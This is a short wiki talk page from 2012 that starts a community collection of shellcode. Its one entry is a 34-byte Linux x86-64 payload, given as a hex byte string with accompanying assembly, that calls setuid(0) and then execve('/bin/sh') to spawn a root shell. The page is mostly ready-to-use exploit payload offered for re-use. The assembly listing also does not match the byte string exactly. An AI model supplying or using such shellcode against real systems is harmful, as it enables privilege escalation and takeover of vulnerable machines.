Category talk:Shellcode

Hey guys, thought we could use some collections of this stuff for re-use purposes. Lets only contribute things we wrote ourselves, no copy pasting others' codes please! Hatter 05:23, 19 August 2012 (MSK)

Collections

This page needs shellcodes, and will be updated with it shortly. Thanks for your patience.

Linux

64-bit

setuid(0); execve('/bin/sh'); - 34 bytes

Hatter 05:27, 19 August 2012 (MSK)

• \x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05

.section .data .section .text .globl _start _start: mov $0, %rdi mov $105, %rax syscall   # a function is f(%rdi,%rdx,%rsi) mov $59, %rax # execve(filename, argv, envp) push $0x00 mov %rsp, %rdx # argv is null mov %rsp, %rsi # envp is null mov $0x0068732f6e69622f, %rcx push %rcx mov %rsp, %rdi # filename is '/bin/sh\0' syscall   mov $60, %rax mov $0, %rdi syscall